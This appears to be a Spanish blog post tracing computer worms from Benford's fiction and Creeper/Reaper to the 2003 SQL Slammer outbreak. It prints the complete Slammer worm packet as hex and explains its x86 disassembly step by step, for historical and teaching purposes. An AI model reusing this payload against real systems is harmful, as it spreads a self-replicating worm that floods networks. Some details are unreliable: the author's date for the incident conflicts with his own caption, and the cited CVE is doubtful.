De los orígenes de la virología informática y lo (poco) que ha cambiado en 50 años

Enviado por magnus el Sáb, 08/08/2020 - 15:54

Creo que los que somos fanáticos de la ciencia ficción distinguimos, a grandes rasgos, dos tipos de autores o dos tipos de historias: Están las que son prácticamente fantasía futurista que a grandes rasgos se justifica con ciencia, como puede ser Dune, Warhammer 40.000 o La máquina del tiempo; y están las historias que, por su certeza predictiva parecen salidas de la mente de un oráculo. De este segundo tipo creo que es El hombre de la cicatriz (The Scarred Man), o al menos lo es el siguiente diálogo que tienen dos personajes sobre un sabotaje informático:

 

"Esto es lo que hice. Tenía que contar con la ayuda de Garner, por supuesto, para ocultar el programa inicial dentro de una subrutina complicada, para que ni siquiera una búsqueda cuidadosa lo encontrara. Esa fue la única contribución de Garner, y una buena además, porque no era un hombre que pudiera tratar con la gente. No sabía nada de carácter, no podía distinguir a un ladrón de un duque. O eso pensaba Sapiro. "

 

"Entonces Sapiro..." dije. La única forma de lograr que Nigel se aferrara al tema era amenazar con interrumpir, una teoría que se verificó rápidamente cuando alzó la voz un decibel y siguió:

 

El programa que he cargado le indica a la computadora que marque un número de teléfono de siete dígitos al azar. Ahora, la mayoría de los teléfonos son operados por personas. Pero algunos pertenecen a computadoras y se utilizan para transferir información e instrucciones de programación a otras computadoras. Siempre que una computadora levanta el auricular, metafóricamente quiero decir, hay una señal especial que dice que es una computadora, no un humano. Otra computadora puede reconocer la señal.

La computadora de Sapiro siguió marcando al azar, colgándole los humanos, hasta que obtuvo una computadora del mismo tipo que ella. Luego, enviaba una señal que decía en efecto: "Haz esta tarea y cárgale el costo a la línea que estabas usando cuando llamé". Y luego transmitía el mismo programa que Sapiro había programado en él. "

 

"Así que…" dije.

 

Exactamente. La segunda computadora se daría la vuelta y comenzaría a llamar a intervalos aleatorios, tratando de encontrar otra máquina. Eventualmente lo haría. "

 

En estas breves líneas, el autor Gregory Benford describía en 1970, basándose en lo que conocía de ARPANET un modelo de virus que aún no había ocurrido, pero que pronto lo haría y perduraría por décadas.

No fue hasta el año siguiente, 1971, que Robert H. Thomas, un ingeniero de BBN technologies creó en Assembler un programa “bromista”, algo relativamente común que hacían (y en cierta medida aún hacen) los programadores para gastarse bromas entre ellos. Sólo que el programa de Bob, en su sencillo ingenio, se salió de control.
Lamentablemente, el código original del programa se ha perdido, por lo que no podemos analizar exactamente que vulnerabilidades explotaba, pero su funcionamiento básico era imprimir una hoja con un mensaje diciendo “I’m the creeper, catch me if you can!” (“soy la enredadera, atrápame si puedes!” - NDT: “creeper” es literalmente “enredadera”, pero puede referirse también a cualquier cosa que se arrastre o repte,como insectos o alimañas), el programa luego buscaba otra máquina que estuviera corriendo el sistema operativo TENEX, es decir un mainframe DEC PDP-10, una “supercomputadora” de la época, se copiaba a ella, borraba el programa de la computadora anterior e imprimía el mismo mensaje.
Esto al principio fue descripto por los otros ingenieros como “poco más que una molestia” o “una broma pesada”, se convirtió en un verdadero problema cuando alguien hizo una variante del creeper que no borraba sus antepasados sino que se replicaba. Esto pronto se volvió un grave inconveniente, ya que este programa empezó a acaparar toda la escasa capacidad de cómputo y almacenamiento disponible.
Otro ingeniero del mismo instituto, Ray Thomlison (nada menos que el inventor del email como tecnología) junto con Bob Thomas, hicieron un programa específico para eliminar este nuevo creeper, llamado Reaper (“segadora”, “cosechadora”). El virus Creeper fue definitivamente eliminado con una actualización de TENEX que corrigió la vulnerabilidad que se explotaba.

DEC PDP-10
Una computadora DEC PDP-10 como las que infectaba el Creeper

Sin embargo, el dúo Creeper-Reaper, un par de programas que se comportaban con un cazador y una presa burlona, permeó fuerte en el imaginario popular, ya que fueron vistos como una especie de Coyote y Correcaminos o Bugs Bunny y Elmer Fudd de la informática y, para el público común, los programas parecían estar comenzando a tomar vida propia.

El Reaper fue nada menos que el primer antivirus de la historia, aunque en su momento fue llamado con el evocativo nombre de nemátodo, un tipo de micro-gusano.

En todo esto pensaba yo en el verano de 2003, cuando apenas comenzaba mi carrera de administrador de sistemas, como una especie de técnico de pcs que había tenido la suerte de haber llegado a ayudar con el mantenimiento básico de servidores, cuando recibí el llamado que ningún técnico o sysadmin en guardia durante un fin de semana quiere recibir: “Los servidores no responden. La red está caída. Reiniciar no soluciona nada.”
Al llegar al lugar, la escena era trágica, tanto más para un trainee con ambiciones de ser Junior:
Ninguno de los servidores respondía, los routers y switches estaban saturados de tráfico, la red era inusable. El motivo? Un código de 376 bytes. Su lógica? La misma que Gregory Benford había descripto y que el creeper había implementado hace más de 30 años.

 

Un chequeo rápido en una computadora de escritorio mostraba que un gran porcentaje de los servidores SQL instalados en windows server 2000 y sus redes asociadas estaban caídos a nivel mundial, y todo había ocurrido en cuestión de horas, si no minutos.
El código responsable? Sencillamente esto:

 

4500 0194 cf09 0000 8011 e630 c0a8 0164
c0a8 016a 049f 059a 0180 ac8d 0401 0101
0101 0101 0101 0101 0101 0101 0101 0101
0101 0101 0101 0101 0101 0101 0101 0101
0101 0101 0101 0101 0101 0101 0101 0101
0101 0101 0101 0101 0101 0101 0101 0101
0101 0101 0101 0101 0101 0101 0101 0101
0101 0101 0101 0101 0101 0101 01dc c9b0
42eb 0e01 0101 0101 0101 70ae 4201 70ae
4290 9090 9090 9090 9068 dcc9 b042 b801
0101 0131 c9b1 1850 e2fd 3501 0101 0550
89e5 5168 2e64 6c6c 6865 6c33 3268 6b65
726e 5168 6f75 6e74 6869 636b 4368 4765
7454 66b9 6c6c 5168 3332 2e64 6877 7332
5f66 b965 7451 6873 6f63 6b66 b974 6f51
6873 656e 64be 1810 ae42 8d45 d450 ff16
508d 45e0 508d 45f0 50ff 1650 be10 10ae
428b 1e8b 033d 558b ec51 7405 be1c 10ae
42ff 16ff d031 c951 5150 81f1 0301 049b
81f1 0101 0101 518d 45cc 508b 45c0 50ff
166a 116a 026a 02ff d050 8d45 c450 8b45
c050 ff16 89c6 09db 81f3 3c61 d9ff 8b45
b48d 0c40 8d14 88c1 e204 01c2 c1e2 0829
c28d

 

Es un apenas un sólo paquete enviado por protocolo UDP al puerto 1434. En ese momento, existía una vulnerabilidad por la que un buffer overflow del puerto 1434 permitía la ejecución de código arbitrario por parte del sistema operativo (ver https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0353 ). Esta vulnerabilidad había sido expuesta poco antes por David Litchtfield, en la convención Black Hat Briefings entre Julio y Agosto de 2002.

El puerto 1434 era monitoreado por un servicio de MSDE (Microsoft SQL Server Desktop Environment) que, según la documentación, esperaba recibir el nombre de una base de datos de no más de 16 bytes de longitud, finalizando con 0x00. El programa simplemente no chequeaba la longitud del datagrama, sino que buscaba el 0x00. Este código sencillamente no enviaba ningun 00, por lo que el causaba un overflow en memoria y sobrescribía parte del código que MSDE tomaba de la librería ssnetlib.dll, un servicio de resolución de servidores SQL.

Esos renglones de “01” que vemos repetidos son sólo para lograr eso: pisar la pila (el “stack”) y sobrescribir las instrucciones previamente cargadas con el código que sigue a continuación.

Las ordenes eran pocas, pero muy ingeniosas:

  • Toma la hora en milisengundos y la carga como dirección IP.
  • Toma la dirección donde comienza su propio código como inicio de la información a enviar.
  • Repite, sólo que cambiando la dirección IP desordenando los bytes para no perder tiempo consultando la hora de nuevo.

Veamos un poco de este código convertido a ASM x86 para entender que estaba ocurriendo. (Por las dudas, al final hay un apéndice con una descripción del los registros utilizados en este código)

La primera parte no es de mucho interés, ya que es una solicitud legitima informando que a continuación viene el nombre de la base de datos. Luego una serie de bytes “01” y luego el código per se (Que, por cierto, está tan astutamente creado que no tiene un sólo “00” en su totalidad).
Lo primero que vemos luego del buffer es lo siguiente (Recuerden que por la arquitectura Little Endian, hay que invertir los bytes para tener el orden de lectura):

 

push  42B0C9DCh;  [EBP-4] Enviar el handle de Sqlsort.dll a ESP

Esto sobrescribe la dirección de retorno actual con sqlsort.dll, dando comienzo al exploit.

El código conforma un marco de pila (stack frame) para -entre otras cosas- cargar una serie de cadenas de caracteres (string), que son los nombres de las librerías que utilizará en su ejecución, las cualesson ws2_32.dll y kernel32.dll y las instrucciones y parámetros que utilizará:

push 6E72656Bh   ; [EBP-10h] Push string kernel32.dll
push ecx               ; [EBP-14h]
push 746E756Fh   ; [EBP-18h] Push string GetTickCount
push 436B6369h  ; [EBP-1Ch]
push 54746547h  ; [EBP-20h]
mov cx, 6C6Ch
push ecx              ; [EBP-24h]
push 642E3233h  ; [EBP-28h] Push string ws2_32.dll
push 5F327377h  ; [EBP-2Ch
mov cx, 7465h
push ecx              ; [EBP-30h]
push 6B636F73h  ; [EBP-34h] Push string socket
mov cx, 6F74h
push ecx              ; [EBP-38h]
push 646E6573h  ; [EBP-3Ch] Push string sendto

Vemos que luego hace una colocación de la dirección de inicio del string “ws2_32.dll”, es decir EBP-2Ch (recuerden que el stack crece hacia arriba):

lea eax, [ebp-2Ch]
push eax ; [EBP-40h]
call dword ptr [esi] ; Salida del proc.: ESP=EBP-3Ch
push eax; ; [EBP-40h

Con lo que tiene luego una dirección donde luego consultar por la función de esta librería que le interesa, que es “GetTickCount” (ubicada en EBP-18h), que le dará la hora en milisegundos.

Luego repite lo mismo para kernel32.dll:

lea eax, [ebp-10h] ; Cargar la dirección del string "kernel32.dll" en EAX
push eax ; [EBP-48h]
call dword ptr [esi] ; salida del proc. : ESP=EBP-44h
push eax ; [EBP-48h]

A continuación pide la entrada de GetProcAddress de sqlsort.dll (La librería que cargó en el primer paso):

mov esi, 42AE1010h ; Mover la entrada sqlsort:[IAT] a ESI.
mov ebx, [esi] ; Mover la entrada IAT (function entry point) a EBX.
mov eax, [ebx] ; Mover 4 bytes de instruccions a EAX.

A esta dirección le envía como parámetro el resultado de GetTickCount():

call eax ; GetTickCount(), ESP=EBP-40h
xor ecx, ecx
push ecx
push ecx ; [EBP-44h]
push eax ; [EBP-48h]

Luego hace algunas comprobaciones relacionadas con la versión de MSDE instalada en las que no me meteré para no alargar demasiado esto con cosas que no hacen diferencia al concepto.
Finalmente crea el socket UDP y declara el paquete a enviar (o sea: él mismo):

push 11h ; [EBP-54h] IPPROTO_UDP - User Datagram Protocol
push 2 ; [EBP-58h] SOCK_DGRAM - Datagram socket
push 2 ; [EBP-5Ch] AF_INET - Internet address family 
call eax ; Procedure exit: ESP=EBP-50h
push eax ; [EBP-54h]
lea eax, [ebp-3Ch]
push eax ; [EBP-58h]
mov eax, [ebp-40h]
push eax ; [EBP-5Ch]
call dword ptr [esi] ; Salida del proceso: ESP=EBP-54h
mov esi, eax

La dirección IP para el siguiente envío no se hace con el complejo procedimiento de enviar GetTickCount a GetProcAddress, sino que se resuelve en dos líneas, haciendo un XOR de EBX con un valor predeterminado:

or ebx, ebx
xor ebx, 0FFD9613Ch

Luego de esto, el paquete se envía y el codigo se repite desde el inicio.

Este código, por su brevedad, se ejecutaba una gran cantidad de veces por segundo, inundando la red de paquetes, lo cual hacía imposible hacer siquiera un ping.
Cualquier instrucción de red que estuviera basada en TCP o requiriera un handshake era virtualmente imposible y, aún cuando el tráfico legítimo era virtualmente imposible, el virus montado en único paquete UDP, lograba circular.

server 2003
Un servidor SQL en enero de 2003 intentando responder a todas las solicitudes que le llegaban en el puerto 1434.  Fuera de camara, un sysadmin llora presa del pánico.

Para hacer las cosas aún peor, los routers, al no poder contactar a los otros routers en su tabla, los marcaban como offline y procedían a propagar la nueva tabla de red con los otros routers, lo cual añadía aún más tráfico de red. Los routers que eran así aislados, al verse libres de tráfico, volvían a conectarse e informaban su estado a toda la red, aumentando aún más el tráfico.
Así, el ya de por sí abundante tráfico causado por el gusano era amplificado para constante circulación de tablas de enrutamiento entre los muy confudidos routers.

La solución a esta pesadilla fue sencilla una vez que entendimos que estaba pasando:

  • Desconectamos el cable de red.
  • Apagamos todo.
  • Encendimos todo.
  • Bloqueamos el puerto 1434 en el firewall.
  • Conectamos el cable de red.

Desde luego, la conexión de internet era lentísima porque todo estaba invadido de millones de peticiones de este código, pero al menos la infección había sido así efectivamente purgada de nuestros servidores, ya que como ven el código, el gusano no realiza ninguna escritura a disco, todo se ejecuta en memoria, así que bastaba un reinicio para eliminarlo. El problema residía en su omnipresencia en la red, lo cual representaba una infección casi instantánea en cuanto el servidor se encendía estando conectado a la red.

En el transcurso de los siguientes días, a medida que todas las empresas fueron bloqueando el puerto 1434, la red volvió a su normalidad y pudimos bajar el parche para el sistema operativo que, con frustración, vimos que llevaba varios meses disponible.

 

Con esta moraleja de recordarles que el primer paso del hardening de servidores debe ser siempre tener el sistema operativo actualizado, me despido por hoy y les recuerdo que pueden visitarnos en nuestras redes para dejarnos sus comentarios y aprender más de este bello mundo de la seguridad informática: Chatea con nosotros en Discord, registrate en el foro, síguenos en Facebook y Twitter,

Epígrafe: 

Nunca se supo realmente quien fue el responsable de este virus conocido como SQL Slammer que causó daños tan dramáticos en tan poco tiempo. Muchos señalan a David Litchfield, por haber sido él quien reveló esta vulnerabilidad varios meses antes de que el virus se lanzara, y en su conferencia mostró una prueba de concepto en un entorno cerrado donde se ejecutaba un programa con un funcionamiento muy similar. Sin embargo, también es muy posible que el programador que efectivamente fabricó el gusano se inspirara en esta conferencia para realizarlo. 
 

Apéndice:

EAX: Acumulador primario. Es un registro de 32 bit donde normalmente se almacenan valores para operaciones aritméticas

EBX: Registro de base. Se utiliza para indexar direcciones de memoria. 

EIP: Puntero de instrucción. Contiene la dirección del comienzo de la siguiente instrucción a ser ejecutada.

ESP: Puntero de pila. Contiene la dirección del valor más recientemente cargado a la pila.

EBP: Puntero de base. Contiene la dirección “base” de la pila de ejecución. Se utiliza para tener una referencia estática para ejecutar una función.

Acerca del autor

DevOps.
Administrador de sistemas Linux.
Administrador de redes.
Programador en los ratos libres.
Técnico electrónico.

...me gusta desarmar cosas...